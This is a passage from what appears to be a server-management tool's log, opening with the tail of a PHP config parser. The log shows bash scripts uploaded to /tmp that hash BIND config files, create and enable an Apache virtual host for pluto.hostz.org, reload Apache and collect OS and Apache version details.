	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 13:03:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp221219; rm /tmp/pkp221219'

2026-04-20 13:03:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 18:36:58: Establishing a connection
2026-04-20 18:37:14: Establishing a connection
2026-04-20 18:37:15: 

PUT: /tmp/pkp296651

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/hostz_pluto_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 18:37:16: 

chmod 755 /tmp/pkp296651; /tmp/pkp296651; rm /tmp/pkp296651

2026-04-20 18:37:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/hostz_pluto_org.conf 0



2026-04-20 18:37:16: 

PUT: /tmp/pkp561340

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_pluto_org.conf
TARGET=sites-available/hostz_pluto_org.conf
DOCROOT=/var/www/hostz_pluto
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/hostz
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/hostz_pluto_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2/sites-available/hostz_pluto_org.conf'
	echo 'file(/etc/apache2/sites-available/hostz_pluto_org.conf= 1'
fi


2026-04-20 18:37:16: 

chmod 755 /tmp/pkp561340; /tmp/pkp561340; rm /tmp/pkp561340

2026-04-20 18:37:17: 


link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2/sites-available/hostz_pluto_org.conf
file(/etc/apache2/sites-available/hostz_pluto_org.conf= 1


2026-04-20 18:37:17: 

PUT: /tmp/pkp804086

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-20 18:37:17: 

chmod 755 /tmp/pkp804086; /tmp/pkp804086; rm /tmp/pkp804086

2026-04-20 18:37:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-20 18:37:17: Performing Server Status
2026-04-20 18:37:17: 

PUT: /tmp/pkp274316

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-20 18:37:18: 

chmod 755 /tmp/pkp274316; /tmp/pkp274316; rm /tmp/pkp274316

2026-04-20 18:37:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		8388604		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
pluto

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-20 18:37:18: 

PUT: /tmp/pkp779179

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-20 18:37:18: 

chmod 755 /tmp/pkp779179; /tmp/pkp779179; rm /tmp/pkp779179

2026-04-20 18:37:19: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 2022
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        2022  0.0  0.1 279944 25888 ?        Ss   Apr19   0:06 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
